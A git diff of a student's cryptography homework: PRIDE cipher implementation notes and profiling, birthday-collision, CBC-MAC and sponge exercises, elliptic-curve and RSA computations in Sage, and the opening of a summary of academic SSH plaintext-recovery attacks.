+		In PRIDE, diffusion is created by the linear layer. The matrix multiplications of $L_0$ through $L_3$ (or there inverses in decryption) combine three bits of the input in every bit of the output. This, used several times (once per round), gives the encryption this property.
+		\end{description}
+	\item The linear layer consists of:
+		\begin{itemize}
+		\item A permutation $P$ (in hardware, this is merely rewiring).
+		\item Multiplication of every 16-bit substring of the state with `its own' binary matrix (i.e. the leftmost substring is multiplied with $L_0$, the rightmost with $L_3$).
+		\item The inverse of the first permutation $P^{-1}$.
+		\end{itemize}
+	\item The S-box is used once in every round (20 times). The linear layer is used once in every round but the last one (19 times).
+	\item I'm not very familiar with Python, but a working implementation is provided in appendix \ref{App:pypride}. That file, and a test program using the test vectors from appendix J of the PRIDE paper, may also be found on \url{https://github.com/camilstaps/pypride}.
+
+        Initially, I used a `real' matrix multiplication using the software-friendly matrices in appendix G of the paper. However, this turned out to be rather slow. Using a python version of the AVR assembly codes from appendix H, I got over twice as fast results.
+
+		This program counts 112 lines, ignoring whitespace and comments\footnote{Measured with CLOC, \url{http://cloc.sourceforge.net/}}. The PRESENT implementation by Cristophe Osterlynck and Philippe Teuwen uses 82 lines. Main differences are that this PRESENT implementation supports two keylengths, but does not have to deal with matrix multiplication.
+
+		This implementation is just a little bit slower than the PRESENT implementation (using a 128-bit key). PRESENT uses 32 rounds instead of 20, but doesn't have the heavy matrix multiplication in the linear layer (but only a permutation). Both ciphers are hardware-oriented. With an i7-3517U core @1.90GHz I could encrypt a 100KB file with PRESENT in about 9s; this took 10s with PRIDE.
+	\end{enumerate}
+\end{enumerate}
+
+\appendix
+
+\newpage
+\section{Python PRIDE implementation: \texttt{pypride}}
+\label{App:pypride}
+\inputminted[fontsize=\footnotesize,breaklines=true,linenos=true,tabsize=4]{python}{pypride/pypride.py}
+
+\newpage
+\section{Profiling \texttt{pypride}}
+
+Here's some profiling data made with \texttt{profiler} and the test file that can be found on GitHub, when creating 5000 \texttt{Pride} objects and encrypting and decrypting 5000 blocks with one key. The matrix multiplication and the \texttt{bin} and \texttt{count} functions (which are only used in the matrix multiplication) use the most time, which explains why \texttt{pypride} is twice as slow as \texttt{pypresent}.
+
+It takes approximately 1.5ms to generate roundkeys (which is a one-time effort), 2.4ms to encrypt one block, and 2.6ms to decrypt one block (the difference is in the matrices).
+
+\begin{Verbatim}[fontsize=\footnotesize]
+All tests passed.
+Generating round keys: 17.6654632092s
+Encryption:            23.9269566536s
+Decryption:            26.2635686398s
+         6035024 function calls in 33.571 seconds
+
+   Ordered by: standard name
+
+   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
+        1    0.000    0.000    0.000    0.000 :0(__import__)
+        1    0.000    0.000    0.000    0.000 :0(__new__)
+    35000    0.094    0.000    0.094    0.000 :0(a2b_hex)
+   120000    0.299    0.000    0.299    0.000 :0(b2a_hex)
+   420000    0.693    0.000    0.693    0.000 :0(chr)
+    35000    0.169    0.000    0.509    0.000 :0(decode)
+   120000    0.534    0.000    1.757    0.000 :0(encode)
+        2    0.000    0.000    0.000    0.000 :0(get)
+        1    0.000    0.000    0.000    0.000 :0(hasattr)
+        2    0.000    0.000    0.000    0.000 :0(isinstance)
+        1    0.000    0.000    0.000    0.000 :0(join)
+   160000    0.259    0.000    0.259    0.000 :0(len)
+   420000    0.705    0.000    0.705    0.000 :0(ord)
+        1    0.006    0.006    0.006    0.006 :0(setprofile)
+        1    0.000    0.000    0.000    0.000 :0(split)
+   705000    2.250    0.000    2.250    0.000 :0(sum)
+    30000    0.067    0.000    0.067    0.000 :0(time)
+        1    0.000    0.000    0.000    0.000 :0(translate)
+        1    0.000    0.000   33.565   33.565 <string>:1(<module>)
+        1    0.000    0.000    0.000    0.000 __init__.py:49(normalize_encoding)
+        1    0.000    0.000    0.000    0.000 __init__.py:71(search_function)
+        1    0.000    0.000    0.000    0.000 codecs.py:77(__new__)
+   120000    0.724    0.000    1.223    0.000 hex_codec.py:13(hex_encode)
+    35000    0.193    0.000    0.340    0.000 hex_codec.py:27(hex_decode)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:45(Codec)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:52(IncrementalEncoder)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:57(IncrementalDecoder)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:62(StreamWriter)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:65(StreamReader)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:70(getregentry)
+        1    0.000    0.000    0.000    0.000 hex_codec.py:8(<module>)
+        0    0.000             0.000          profile:0(profiler)
+        1    0.000    0.000   33.571   33.571 profile:0(test())
+   760000    1.571    0.000    1.571    0.000 pypride.py:129(swap)
+   190000    0.384    0.000    0.384    0.000 pypride.py:133(rol)
+   760000    1.542    0.000    1.542    0.000 pypride.py:137(ror)
+   190000    0.852    0.000    1.248    0.000 pypride.py:141(M_L0)
+    95000    0.710    0.000    1.308    0.000 pypride.py:148(M_L1)
+    95000    0.904    0.000    1.681    0.000 pypride.py:155(M_L1_inv)
+    95000    0.748    0.000    1.322    0.000 pypride.py:162(M_L2)
+    95000    0.925    0.000    1.687    0.000 pypride.py:169(M_L2_inv)
+   190000    0.838    0.000    1.227    0.000 pypride.py:176(M_L3)
+   105000    2.163    0.000    7.546    0.000 pypride.py:183(roundKey)
+   220000    0.396    0.000    0.396    0.000 pypride.py:201(addRoundKey)
+   100000    0.864    0.000    1.076    0.000 pypride.py:204(sBoxLayer)
+   100000    0.907    0.000    1.108    0.000 pypride.py:212(sBoxLayer_dec)
+   200000    3.652    0.000    4.351    0.000 pypride.py:220(pLayer)
+   305000    5.811    0.000    6.947    0.000 pypride.py:228(pLayer_dec)
+    95000    1.492    0.000    9.554    0.000 pypride.py:236(lLayer)
+    95000    1.516    0.000   10.735    0.000 pypride.py:252(lLayer_dec)
+   120000    0.484    0.000    2.241    0.000 pypride.py:268(string2number)
+    10000    0.058    0.000    0.218    0.000 pypride.py:276(number2string_N)
+     5000    0.278    0.000    7.927    0.002 pypride.py:61(__init__)
+     5000    0.625    0.000   11.897    0.002 pypride.py:71(encrypt)
+     5000    0.669    0.000   13.136    0.003 pypride.py:96(decrypt)
+        1    0.189    0.189   33.565   33.565 test-vectors.py:26(test)
+\end{Verbatim}
+
+\end{document}
diff --git a/Assignment 4/pypride b/Assignment 4/pypride
new file mode 160000
+Subproject f3f00f04a21fbeab240ea2add067e6840a2801a
diff --git a/Assignment 5/2a.py b/Assignment 5/2a.py
new file mode 100644
index 0000000..0b55cee
--- /dev/null
+++ b/Assignment 5/2a.py
@@ -0,0 +1,14 @@
+import random, hashlib, collections
+
+def duplicates(table):
+    return [key for key, values in table.items() if len(values) > 1]
+
+def hash(msg):                              # we use only the first 3 bytes, as a toy example
+    return hashlib.md5(str(msg).encode('utf-8')).digest()[:3]
+
+lookup = collections.defaultdict(list)      # lookup table
+while duplicates(lookup) == []:             # as long as there are no duplicates 
+    input = random.getrandbits(64)          # 64 bits is sufficient to assume no input occurs twice
+    lookup[hash(input)].append(input)
+
+print(len(lookup))
\ No newline at end of file
diff --git a/Assignment 5/CamilStaps-assignment5.tex b/Assignment 5/CamilStaps-assignment5.tex
new file mode 100644
index 0000000..4ee403a
--- /dev/null
+++ b/Assignment 5/CamilStaps-assignment5.tex
@@ -0,0 +1,142 @@
+\documentclass[a4paper]{article}
+
+\usepackage{amsmath,amssymb,amsthm,url,graphicx,comment,enumerate,color,array,inconsolata,minted,subcaption,adjustbox}
+\usepackage[margin=2cm]{geometry}
+\usepackage[hidelinks]{hyperref}
+\usepackage{fancyvrb}
+
+\usepackage{fancyhdr} % Custom headers and footers
+\pagestyle{fancyplain} % Makes all pages in the document conform to the custom headers and footers
+\fancyhead{} % No page header - if you want one, create it in the same way as the footers below
+\fancyfoot[L]{} % Empty left footer
+\fancyfoot[C]{Copyright {\footnotesize\copyright} 2015 Camil Staps} % Empty center footer
+\fancyfoot[R]{\thepage} % Page numbering for right footer
+\renewcommand{\headrulewidth}{0pt} % Remove header underlines
+\renewcommand{\footrulewidth}{0pt} % Remove footer underlines
+\setlength{\headheight}{13.6pt} % Customize the height of the header
+
+\title{Homework $5$}
+\author{Camil Staps (s4498062)}
+
+\DeclareMathOperator{\ord}{ord}
+\DeclareMathOperator{\lcm}{lcm}
+\DeclareMathOperator{\lsb}{lsb}
+\DeclareMathOperator{\Prob}{Pr}
+\DeclareMathOperator{\Adv}{Adv}
+
+\DeclareMathAlphabet{\pazocal}{OMS}{zplm}{m}{n}
+
+\usepackage{algpseudocode}
+
+\begin{document}
+\maketitle
+
+\section*{Solution}
+
+Throughout these solutions, I will use the notation:
+\begin{align*}
+\mbox{---}|_{m,n}       &\quad\stackrel{\text{def}}{=}\quad\text{$n$ consecutive bits of --- starting with index $m$}\\
+\mbox{---}|_{n,\dots}   &\quad\stackrel{\text{def}}{=}\quad\text{All bits of --- starting with index $m$ till the end}
+\end{align*}
+
+\begin{enumerate}
+\item 
+    \begin{enumerate}
+    \item 
+        We want to somehow concatenate the two messages. In this example I will concatenate $m_2$ to $m_1$, and alter $m_2$ a bit, i.e. compute $m_2'$ and $t$ such that $t$ is a valid tag for $m_1 || m_2'$.
+
+        We know that the MAC of $m_1$ is \texttt{0x10}. The intermediate result when computing the MAC of $m_1 || m_2$ after three iterations is thus also \texttt{0x10}. After that, we continue with $E(k, m_2'|_{0,8} \oplus \mathtt{0x10})$ and want this to be equal to $E(k, m_2|_{0,8} \oplus 0)$, so that the rest of the computation continues as the computation of $m_2$ itself. We thus have to find $m_2'$ such that $m_2'|_{0,8} \oplus \mathtt{0x10} = m_2|_{0,8} \oplus 0 = m_2|_{0,8} = \mathtt{0xab}$, and let the rest of $m_2'$ be equal to the rest of $m_2$. That gives $m_2' = \mathtt{0xab} \oplus \mathtt{0x10} \;||\; m_2|_{8,\dots} = \mathtt{0xbbcdef}$.
+
+        We then have $m_1 || m_2' = \mathtt{0xfffefdbbcdef}$, and know per the above $\text{CBC-MAC}(k, m_1 || m_2') = t_2$: the first three iterations are performed with exactly the same input data as the MAC computation of $m_1$. We chose the first byte of $m_2'$ such that after that leaving the rest of $m_2$ untouched, computation will continue as if it were the computation of the MAC of $m_2$. Therefore, $t_2$ is a valid tag for $m_1 || m_2'$. Eve can thus send $(m_1 || m_2', t_2)$ to Bob and it will look perfectly valid to him.
+
+    \item 
+        \begin{description}
+        \item[Encrypt-last-block] They could encrypt the tag with a different key. If $S(k,m)$ is their old function, they could now use $E(k', S(k,m))$ where $k'\neq k$. In the block diagram this means adding another `$E$' block at the end, with $k'$ instead of $k$.
+
+            If their old verification function $V:K\times M\times T$ were $$V(k,m,t)=\begin{cases}\text{yes} & \text{if $S(k,m)=t$}\\\text{no} & \text{otherwise}\end{cases},$$ they should now use $$V'(k,m,t)=\begin{cases}\text{yes} & \text{if $E(k',S(k,m))=t$}\\\text{no} & \text{otherwise}\end{cases}.$$
+
+        \item[Length prepending] They could prepend the message with the length of the message. Concretely, for a message $m_0 || m_1 || \dots || m_n$ we compute the CBC-MAC of $n || m_0 || m_1 || \dots || m_n$. In the block diagram this means adding one phase before $m_0$, with as input the number of blocks in the message. There is no need to transmit the length as well. For verification, the other party simply computes the CBC-MAC of the message prepended with its length and verifies equality with the received CBC-MAC. Verification won't succeed if the length has been changed, which is needed for the above attack to work.
+
+        This has the disadvantage that the length of the message has to be known before computing the MAC, which makes such a scheme difficult to use in combination with for example HTTP/1.1.
+        \end{description}
+    \end{enumerate}
+
+\item
+    \begin{enumerate}
+    \item I'm assuming that with `the sponge function' the whole construction (i.e., absorption and squeezing) is meant, not just the permutation function inside. This is a Python 2/3 example using a 24-bit hash (the first three bytes of the MD5\footnote{This is a generic attack, which doesn't rely on the hash using the sponge construction. Therefore, using MD5 instead of for example SHA-3 does not matter.} of the input). We create a lookup table and feed inputs until we have a duplicate. 
+
+        \inputminted[fontsize=\footnotesize,linenos,breaklines,tabsize=4]{python}{2a.py}
+
+        We would expect outputs around $2^{12}=4096$ because of the Birthday paradox, and that seems to be correct. Here are 25 random results: \texttt{2894, 4765, 6463, 2917, 4213, 1994, 4574, 5661, 6350, 8202, 372, 3803, 9715, 9179, 4240, 2946, 7932, 10409, 5459, 13020, 4041, 7635, 7497, 1862, 3556}.
+
+        If with `the sponge function' the permutation function inside were meant, we could simply take only inputs with length $r$, so that only one permutation is used for computing the whole hash. The complexities (calls to the sponge construction vs. calls to the permutation function) are then equal to each other.
+    
+    \item %I'm using the notation $f(s)$ not only for applying $f$ to $s$, but also, in the context of a sponge construction, to repeatedly applying $f$ to blocks of $s$, chaining results and XORing, starting with an all zero state, in order to simulate a sponge construction.
+
+        Following the hint given, we first find an inner collision:
+
+        \begin{algorithmic}[1]
+            \Require $r,c\in\mathbb{N},r>0$
+            \Require $f : \mathbb{Z}_2^{r+c} \stackrel{1:1}{\longrightarrow} \mathbb{Z}_2^{r+c}$ \Comment{Find an inner collision in $f$ with rate $r$ and capacity $c$}
+            \State $h \gets$ the absorption phase of the sponge construction based on $f$ ($h: \mathbb{Z}_2^{kr}\to\mathbb{Z}_2^{r+c}$)
+            \State $\mathit{table}\gets[]$, $i\gets0$ \Comment{Start with an empty lookup table}
+            \State $k\gets1$ \Comment{Number of iterations of $f$ we're trying}
+            \While{no duplicates in the $c$ last bits of the first elements of all elements of $\mathit{table}$}
+                \State $s\gets \mathbb{Z}_2^{kr}$ \Comment{Random pick, with the only restriction that we haven't seen $s$ yet}
+                \If{impossible to pick a new $s$}
+                    \State $k\gets k+1$
+                \Else
+                    \State $\mathit{table}[i] \gets (h(s), s)$ \Comment{Enlarge lookup table}
+                    \State $i\gets i+1$
+                \EndIf
+            \EndWhile
+            \State \textbf{return} two elements of $\mathit{table}$ with the same $c$ last bits of the first element of the tuple
+        \end{algorithmic}
+
+        Because of the Birthday paradox the expected complexity is $2^{c/2}$.
+
+        Supposing we now have $s_1,s_2\in\mathbb{Z}_2^{kr}$ such that $h(s_1)|_{r,c} = h(s_2)|_{r,c}$ (i.e., the inner states after applying the permutation are equal), we then take $s_1 || f(s_1)|_{0,r}$ and $s_2 || f(s_2)|_{0,r}$. After applying the sponge construction on these two input bit strings, we will have a full state collision. This is because with the additional concatenation of the outer state to the input string, we perform $f$ on an all zero outer state and the inner state, which is already equal for both inputs.
+
+        This full state collision ensures that the output of the hash function will be identical for $s_1 || f(s_1)|_{0,r}$ and $s_2 || f(s_2)|_{0,r}$.
+    
+    \item First, using the algorithm above, we find two different input strings $m_1,m_2$ that create a full collision (i.e. $\pazocal{H}(m_1)=\pazocal{H}(m_2)$, but more importantly the whole state after fully absorbing the message is the same). Then from that moment we can simply concatenate any bit string to these messages, and since the whole state is the same after absorbing the first parts of these messages (namely $m_1$ and $m_2$), the rest of the sponge function will have the exact same output: 
+    $$\forall_{s\in\mathbb{Z}_2^*}[\pazocal{H}(m_1 || s) = \pazocal{H}(m_2 || s)].$$
+
+    We know that $\mathbb{Z}_2^*$ is an infinite set, so $\{(m_1 || s, m_2 || s) : s \in\mathbb{Z}_2^*\}$ will also be infinite.
+
+    \item
+        \begin{enumerate}
+        \item Suppose we have a message $m = m_0 || m_1 || \dots || m_w$ for which we want to find a collision. We take $R_0 || R_1 || \dots || R_v || (X \oplus m_0) || m_1 || m_2 || \dots || m_w$. After the first $v+1$ blocks, we will have intermediate state $X || 0^c$. Then feeding $X \oplus m_0$ gives $f(X \oplus (X \oplus m_0) || 0^c) = f(m_0 || 0^c)$ which is precisely the same as the first intermediate state of the application of the sponge construction on $m$ (namely $f(0^r \oplus m_0 || 0^c) = f(m_0 || 0^c)$). For the rest of the absorption phase, we input the same data, so the result will also be the same. 
+
+        Given such a sequence such that $\pazocal{H}(R_0 || R_1 || \dots || R_v) = X || 0^c$, we can thus find a collision for any message $m$. This does not only break collision resistance, but also second pre-image resistance.
+
+        Essentially, this is a special case of the inner collision discussed above, where the inner state in which we find a collision is $0^c$. We know already that the initial state has inner state $0^c$, so we only need to find one more occurrence.
+        
+        \item We're going to build a directed graph where the nodes represent inner states in the sponge construction (i.e., all nodes are from $\mathbb{Z}_2^c$), and there is an edge from node $v_1$ to another node $v_2$ iff there exists a bit string $o \in \mathbb{Z}_2^r$ such that $f(o || v_1) = v_2$. The rationale behind this is that we may alter the outer state as we wish (from any outer state output $o_o$ we can make any outer state input $o_i$ to $f$, namely by feeding $o_o \oplus o_i$ as input). This makes storing the outer state information in the nodes redundant, and allows us to make edges with precisely the above restriction. 
+
+        The problem is now reduced to finding a suitable search algorithm to explore the graph and find a cycle from $0^c$ to itself. The edges in this cycle determine the input we have to give to the hash function in the obvious way.
+
+        Breadth first and iterative deepening depth-first search are the intuitive options here, since finding a good heuristic for this problem would be difficult. The choice would depend on the amount of storage available and $r$, since the number of edges leading from every node is $2^r$ (one for every possible outer state).
+
+        The size of this graph is large (it has $2^c$ nodes and $2^{r+c}$ edges), however, it needs not be computed before starting the search algorithm, and especially iterative deepening depth-first search can work with limited resources.
+
+        A variant using iterative deepening depth-first search is given in the following pseudocode:
+
+        \begin{algorithmic}[1]
+            \Require $r,c\in\mathbb{N},r>0$
+            \Require $f : \mathbb{Z}_2^{r+c} \stackrel{1:1}{\longrightarrow} \mathbb{Z}_2^{r+c}$
+            \State $h \gets$ the absorption phase of the sponge construction based on $f$ ($h: \mathbb{Z}_2^{kr}\to\mathbb{Z}_2^{r+c}$)
+            \State $s\gets0$ \Comment{The input we're trying}
+            \Loop
+                \If{$h(s)|_{r,c}=0^c$} \Comment{$s$ is prepended with zeros to have length $kr$, $k\in\mathbb{Z}^+$}
+                    \State \textbf{return} $s$
+                \EndIf
+                \State $s\gets s+1$
+            \EndLoop
+        \end{algorithmic}
+        \end{enumerate}
+    \end{enumerate}
+ 
+\end{enumerate}
+
+\end{document}
diff --git a/Assignment 6/CamilStaps-assignment6.tex b/Assignment 6/CamilStaps-assignment6.tex
new file mode 100644
index 0000000..0cf6b88
--- /dev/null
+++ b/Assignment 6/CamilStaps-assignment6.tex
@@ -0,0 +1,143 @@
+\documentclass[a4paper]{article}
+
+\usepackage{amsmath,amssymb,amsthm,url,graphicx,comment,enumerate,color,array,inconsolata,minted,subcaption,adjustbox}
+\usepackage[margin=2cm]{geometry}
+\usepackage[hidelinks]{hyperref}
+\usepackage{fancyvrb}
+\usepackage{scrextend}
+
+\usepackage{fancyhdr} % Custom headers and footers
+\pagestyle{fancyplain} % Makes all pages in the document conform to the custom headers and footers
+\fancyhead{} % No page header - if you want one, create it in the same way as the footers below
+\fancyfoot[L]{} % Empty left footer
+\fancyfoot[C]{Copyright {\footnotesize\copyright} 2015 Camil Staps} % Empty center footer
+\fancyfoot[R]{\thepage} % Page numbering for right footer
+\renewcommand{\headrulewidth}{0pt} % Remove header underlines
+\renewcommand{\footrulewidth}{0pt} % Remove footer underlines
+\setlength{\headheight}{13.6pt} % Customize the height of the header
+
+\title{Homework $6$}
+\author{Camil Staps (s4498062)}
+
+\DeclareMathOperator{\ord}{ord}
+\DeclareMathOperator{\lcm}{lcm}
+\DeclareMathOperator{\lsb}{lsb}
+\DeclareMathOperator{\Prob}{Pr}
+\DeclareMathOperator{\Adv}{Adv}
+
+\DeclareMathAlphabet{\pazocal}{OMS}{zplm}{m}{n}
+
+\usepackage{algpseudocode}
+
+\begin{document}
+\maketitle
+
+\section*{Solution}
+
+\begin{enumerate}
+    \item We double the point using formulae described at \url{https://crypto.stanford.edu/pbc/notes/elliptic/explicit.html}. We compute $R=2P=[x_R,y_R]$ with $x_R=\lambda^2-11-2\cdot2,y_R=\lambda\cdot(2-x_R)-7$ where
+
+        $$\lambda = \frac{3\cdot2^2+2\cdot11\cdot2+17}{2\cdot7} = 73\cdot14^1 \equiv 11\cdot20 \equiv 3 \pmod{31}.$$
+
+        As explained there, this gives the tangent line on $\mathcal{E}$ at $P$: $y=\lambda\cdot x-6+7=3x+1$.
+        
+        Furthermore we have $x_R = 3^2-15=-6\equiv25\pmod{31}, y_R=3\cdot(2-25)-7=-76\equiv17\pmod{31}$ and thus $2P=R=[25,17]$.
+
+    \item
+        \begin{enumerate}
+            %\item We have $15^3+23\cdot15^2+7\cdot15+1 \equiv 5 \pmod{41}$ and $8^2 \not\equiv 5 \pmod{41}$, so $P$ is not on $\mathcal{E}$. We have $2^3+23\cdot2^2+7\cdot2+1 \equiv 33 \equiv 19^2 \pmod{41}$, so $Q$ is on $\mathcal{E}$.
+            \item We have $16^3+35\cdot16+17 = 4673 \equiv 40 \equiv 1024 = 32^2 \pmod{41}$, so $P$ is on $\mathcal{E}$. We have $9^3+35\cdot9+17 = 1061 \equiv 36 \equiv 1225 = 35^2 \pmod{41}$, so also $Q$ is on $\mathcal{E}$.
+            \item For doubling $P$, we compute $\lambda = \frac{3\cdot x_P^2 + 35}{2\cdot y_P} = 803\cdot64^{-1} \equiv 24\cdot23^{-1} \equiv 24\cdot25 \equiv 26\pmod{41}$. This gives 
+                \begin{align*}
+                    x_{2P} &= \lambda^2-2x_P = 26^2-2\cdot16 = 644 \equiv 29 \pmod{41}\\
+                    y_{2P} &= \lambda(x_P-x_{2P}-y_P = 26(16-29) - 32 = -370 \equiv 40 \pmod{41}
+                \end{align*}
+                yielding $2P = [29,40]$.
+
+                For adding, we compute $\lambda=\frac{y_P-y_Q}{x_P-x_Q}=-3\cdot7^{-1}\equiv38\cdot6\equiv23\pmod{41}$. This gives
+                \begin{align*}
+                    x_{P+Q} &= \lambda^2-x_P-x_Q = 23^2-25=551\equiv12\pmod{41}\\
+                    y_{P+Q} &= \lambda(x_P-x_{P+Q})-y_P = 23\cdot4-32 = 60 \equiv 19 \pmod{41}
+                \end{align*}
+                yielding $P+Q = [12,19]$.
+        \end{enumerate}
+
+    \newpage
+    \item 
+        \begin{enumerate}
+            \item Using sage:
+
+                \begin{minted}[fontsize=\footnotesize,breaklines,tabsize=0]{python}
+					sage: n = 99177088366023448437328155378814540807926939493785872596706396776111511  
+					sage: e = 49
+					sage: s_1 = 52182506035573798513195935894740627677637125435048460721682242234091429
+					sage: s_2 = 47616461307709097579789645077805168973449178313679751343338944408311333
+					sage: mod(s_1 ^ e, n)
+					12345678901234567
+					sage: mod(s_2 ^ e, n)
+					28500797465696216321448721267454933034082336986084351692960292520620026
+                \end{minted}
+
+                It's definitely not certain, but \texttt{12345678901234567} looks more like a message than the other result, so I would guess that \texttt{s\_1} is the correct signature.
+
+            \item Using the method from the slides, we compute $q = \gcd(n,s_1-s_2)$ and then $p=\frac{n}{q}$ with:
+
+                \begin{minted}[fontsize=\footnotesize,breaklines,tabsize=0]{python}
+					sage: q = gcd(n, s_1 - s_2); q
+					1264980678894295608947972498859964913
+					sage: p = n / q; p
+					78402057850174397975612616068106247
+                \end{minted}
+
+            \item This is textbook RSA.
+
+                \begin{minted}[fontsize=\footnotesize,breaklines,tabsize=0]{python}
+					sage: m = 12345678901234567
+					sage: m = mod(m, n)
+					sage: d = inverse_mod(e, (p-1)*(q-1))
+                \end{minted}
+
+                And verifying:
+
+                \begin{minted}[fontsize=\footnotesize,breaklines,tabsize=0]{python}
+					sage: m ^ d == s_1
+					True
+                \end{minted}
+
+            \item
+                Simply implementing the algorithm from the slides gives:
+
+                \begin{addmargin}[2em]{0pt}
+                \begin{minted}[fontsize=\footnotesize,breaklines,tabsize=0,linenos]{python}
+					"""Sign a message using Garner's method
+					
+					Arguments (all ints):
+					p -- the first prime used to generate the RSA key
+					q -- the second prime used to generate the RSA key
+					d -- the private key
+					m -- the message to sign
+					"""
+					def sign(p, q, d, m):
+					    n = p * q
+					    d_p = mod(d, p - 1)
+					    d_q = mod(d, q - 1)
+					    i_q = inverse_mod(q, p)
+					    m = mod(m, n)
+					    s_p = int(mod(m ** d_p, p)) 
+					    s_q = int(mod(m ** d_q, q)) 
+					    s = s_q + q * int(mod(i_q * (s_p - s_q), p))
+					    return s
+                \end{minted}
+                \end{addmargin}
+
+                A usage example (also providing verification):
+
+                \begin{minted}[fontsize=\footnotesize,breaklines,tabsize=0]{python}
+					sage: load("garner.py")
+					sage: sign(p, q, d, m) 
+					52182506035573798513195935894740627677637125435048460721682242234091429
+                \end{minted}
+        \end{enumerate}
+\end{enumerate}
+
+\end{document}
diff --git a/SSH Attack Summary/Summary.tex b/SSH Attack Summary/Summary.tex
new file mode 100644
index 0000000..b32ffca
--- /dev/null
+++ b/SSH Attack Summary/Summary.tex
@@ -0,0 +1,338 @@
+\documentclass[a4paper,8pt,twocolumn]{extarticle}
+
+\usepackage[english]{babel}
+\usepackage[latin1]{inputenc}
+\usepackage[margin=22mm,top=15mm]{geometry}
+\usepackage{amsmath}
+\usepackage{fourier}
+\usepackage{url}
+\usepackage[hidelinks]{hyperref}
+\usepackage{csquotes}
+\usepackage{minted}
+\usepackage{tikz}
+\usetikzlibrary{positioning}
+
+% Not so much list item spacing; see http://tex.stackexchange.com/a/10689/23992
+\usepackage{enumitem}
+\setlist{itemsep=0pt,parsep=1pt}
+
+\title{Plaintext Recovery Attacks Against SSH -- Summary}
+\author{Camil Staps}
+
+\begin{document}
+
+\maketitle
+
+\begin{abstract}
+    Researchers at the university of London have found a couple of plaintext recovery attacks against SSH in 2008-2009 \cite{kp2009}. This document will give a brief summary of the part of the SSH protocol being attacked and an overview of the attacks that were found (theoretical background, steps to reproduce and countermeasures). We will also discuss how it's possible that a scheme proven to be secure in \cite{bellare} could be broken, and what concretely made the attacks possible.
+\end{abstract}
+
+\section{Introduction}
+\label{sec:introduction}
+The Secure Shell protocol, SSH, is defined in a series of RFCs \cite{rfc-arch}, \cite{rfc-auth}, \cite{rfc-transp}, \cite{rfc-conn}. It is ``a protocol for secure remote login
+   and other secure network services over an insecure network'' \cite{rfc-arch}. There are different implementations of the protocol, the most notable being OpenSSH \cite{openssh} with roughly 85\% of all implementations using OpenSSH or a derivative \cite{ssh-usage}. As the authors of \cite{kp2009}, I will be using SSH as a shorthand for SSHv2 as defined in the aforementioned RFCs and OpenSSH as a shorthand for any version of OpenSSH up to 5.1. Code snippets will come from OpenSSH 4.7, against we'll also reproduce the attack.
+
+The attacks from \cite{kp2009} we will consider allow an attacker to ``verifiably recover 14 bits of plaintext with probability $2^{-14}$ and 32 bits of plaintext with probability $2^{-18}$, both from an arbitrary block of ciphertext, assuming the default configuration of a 128-bit block cipher operating in CBC mode'' \cite[abstract]{kp2009}.
+
+\subsection{Contents}
+In section \ref{sec:protocol} the relevant part of the SSH protocol will very briefly be described. In section \ref{sec:openssh}, the relevant specifics of the OpenSSH implementation of the protocol will be discussed. Section \ref{sec:attack} gives a theoretical description of the attacks that were found and their limitations. In section \ref{sec:reproduction}, I will provide steps one could take to reproduce the attack\footnote{\cite{kp2009} lacks this, but it is relevant for anyone who wishes to build further on this attack.}. It is interesting that the attacked part of the SSH protocol was proven secure by Bellare \emph{et al.} \cite{bellare}. How this is possible will be discussed in section \ref{sec:provensecurity}. Countermeasures will be discussed in section \ref{sec:countermeasures}, and section \ref{sec:scope} will look at what other protocols may be affected.
+
+\section{SSH protocol description}
+\label{sec:protocol}
+The part of the SSH protocol under attack is the Binary Packet Protocol (BPP) as defined in \cite[sec.~6]{rfc-transp}. Typically, it is placed directly on top of the TCP layer. It features an encode-then-encrypt-and-mac scheme that can be visualised in figure \ref{fig:bpp}. 
+
+\begin{figure}[h]
+    \centering
+    \begin{tikzpicture}[->, node distance=2pt, every node/.style={rectangle,draw,fill=gray!10,rounded corners=0pt}, every path/.style={rounded corners=4pt}]
+    \node[minimum height=11mm,minimum width=45mm,text depth=7mm] (msg) {padded message};
+    \node[fill=gray!30] (payload) at ([xshift=3mm,yshift=-1.5mm]msg.center) {Payload};
+    \node[fill=gray!30] (padlen) at ([xshift=10mm,yshift=-1.5mm]msg.west) {len(padding)};
+    \node[fill=gray!30] (padding) at ([xshift=-7mm,yshift=-1.5mm]msg.east) {Padding};
+    \node[minimum height=11mm, left=of msg] (len) {len(p. message)};
+    \node[minimum height=11mm, left=of len] (seqnr) {Seq. nr.};
+
+    \node[minimum height=6mm, below=3mm of msg] (encrypt) {Encrypt};
+    \draw (len) |- (encrypt);
+    \draw (msg) -- (encrypt);
+
+    \node[minimum height=6mm, below right=3mm of encrypt] (mac) {MAC};
+    \draw (seqnr) |- (mac);
+    \draw (len) |- (mac);
+    \draw (msg.200) |- (mac);
+    \end{tikzpicture}
+    \caption{Visualisation of the Binary Packet Protocol as described in RFC 4253 \cite[sec.~6]{rfc-transp}}
+    \label{fig:bpp}
+\end{figure}
+
+A payload is first encoded by postpadding with a random number (between $4$ and $255$) of bytes and prepending by one byte describing the padding length and four bytes describing the length of the payload with padding and padding length byte. This encoded message is then encrypted using the block cipher of choice\footnote{SSH supports several block ciphers. The attacks described in \cite{kp2009} are generic.}. A MAC is computed over the message prepended with its length and a sequence number. This sequence number is not transmitted, but the client and the server keep track of it locally. The final ciphertext is the encrypted message concatenated with the MAC.
+
+The SSH RFC \cite{rfc-transp} recommends different block ciphers in CBC mode and one stream cipher to use for encrypting the encoded message. It mandates the use of \emph{initial packet chaining}, so that the last (encrypted) block of a packet is used as the IV for the first block of the next packet.
+
+\subsection{Decryption}
+The only way to know the length of the message one is receiving, is to decrypt the first block and extract the packet length field. The SSH specification \cite{rfc-transp} prescribes that implementations MUST support messages of up to $32768$ bytes and SHOULD support longer messages where necessary. Furthermore, it recommends sanity checking the packet length field, to make sure it is
+
+\begin{itemize}
+    \item at least as long as the cipher's block size,
+    \item long enough to hold one padding length byte and four padding bytes,
+    \item and `reasonable' (e.g., while the maximum value of the length field is $2^{32}$, a 4GiB message should not be considered `sane').
+\end{itemize}
+
+\subsection{The OpenSSH implementation}
+\label{sec:openssh}
